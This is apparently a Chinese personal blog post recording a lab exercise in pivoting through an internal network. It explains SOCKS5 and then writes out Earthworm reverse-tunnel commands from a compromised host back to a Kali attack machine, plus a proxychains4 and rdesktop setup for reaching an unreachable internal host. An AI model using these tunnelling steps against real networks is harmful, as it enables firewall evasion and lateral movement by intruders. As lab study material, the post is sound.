最近在学习过程中涉及到了内网横向的代理搭建方面,那就顺便写个博客稍作记录一下吧~
0x00 涉及知识和工具
1.socks
采用socks协议的代理服务器就是SOCKS服务器,是一种通用的代理服务器。通常在组织内部会有自己专用的网络, 该网络与公共网络 (如 Internet) 是隔离的, 而代理服务器可以创建一个从内网到外网的通道, 用于组织内的主机与组织外的主机进行通信, 同时组织管理者可以在代理服务器上配置相应的权限管控和监控, 以约束和审查组织内外主机的通信行为, 这里, 代理服务器实际上相当于一个应用层网关, 在 Socks 协议之前没有一套通用的标准来约束组织内主机与代理服务器的交互方式, 这需要工程师自行实现相应的数据转发, 而且对于应用层协议往往是不透明的 (例如可能需要根据实际需求实现多种应用层协议的网关, 如 HTTP 代理, FTP 代理, SSH 代理等等), Socks 5 协议工作在传输层 (Transport Layer) 与应用层 (Application Layer) 的中间, 提供了一种对应用层协议透明的代理服务, 当组织内主机与代理服务器完成 Socks 握手之后, 应用层对代理服务器是无感知的, 例如地址分别为 A, B 的分布在组织内外的两个进程进行 HTTP 通信, 其中 C 为代理服务器, 实际的数据链路为 A → C → B, 但在引入 Socks 协议之后, 从应用层的视角来看, 整个通信过程仍然是 A → B 的模式。
2.Earthworm
EW是一套便携式的网络穿透工具,具有SOCKS5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处,而且适用于不同的操作系统。
下载传送门:https://github.com/idlefire/ew
3.proxychains4
proxychains4是linux下的代理工具,kali默认安装,它可以使任何程序通过代理上网,允许TCP和DNS通过代理隧道,支持HTTP、SOCKS4和SOCKS5类型的代理服务器,并且可配置多个代理。当然windows上用的代理是Proxyfier。
0x01 进行代理实验
1.实验环境:
攻击机:kali 192.168.145.129
模拟内网机A(有公网ip,受控):192.168.145.1
模拟内网机B(不受控):192.168.145.128
现在要把A作为代理使kali能访问B
2.实验过程
2.1 查看ew使用方法
普通网络环境:
1. 目标网络边界存在公网IP且可任意开监听端口:
+---------+ +-------------------+
|HackTools| ->> | 8888-> 1.1.1.1 |
+---------+ +-------------------+
a)./ew -s ssocksd -l 8888
// 在 1.1.1.1 主机上通过这个命令开启 8888 端口的 socks 代理
b) HackTools 可通过访问 1.1.1.1:8888 端口使用 1.1.1.1 主机提供的代理
2. 目标网络边界不存在公网 IP,需要通过反弹方式创建 socks 代理
一台可控公网IP主机 可控内网主机
+---------+ +--------------------------+ | +---------------+
|HackTools| ->> | 1080 -> 1.1.1.1 -> 8888 | 防火墙 | <-- 2.2.2.2 |
+---------+ +--------------------------+ | +---------------+
a) ./ew -s rcsocks -l 1080 -e 8888
// 在 1.1.1.1 的公网主机添加转接隧道,将 1080 收到的代理请求转交给反连 8888 端口的主机
b) ./ew -s rssocks -d 1.1.1.1 -e 8888
// 将目标网络的可控边界主机反向连接公网主机
c) HackTools 可通过访问 1.1.1.1:1080 端口使用 rssocks 主机提供的 socks5 代理服务
显然我们要用到第二种方法
2.2 kali添加转接隧道
./ew -s rcsocks -l 1080 -e 1234
就是把kali的1080 收到的代理请求转交给反连 1234 端口的主机
2.3 受控机A反向连接kali
ew.exe -s rssocks -d 192.168.145.129 -e 1234
此时在A上启动socks5服务并反弹到192.168.145.129(kali)的1234端口上
此时kali上显示连接成功
2.4 配置proxychains4
vim /etc/proxychains4.conf
先修改一下这两处
然后配置代理
此时使用代理就是kali访问本机的1080端口,然后ew会把kali的1080端口收到的代理请求转交给反连1234端口的主机(A)
2.5 尝试访问B
proxychains4 rdesktop 192.168.145.128
成功访问B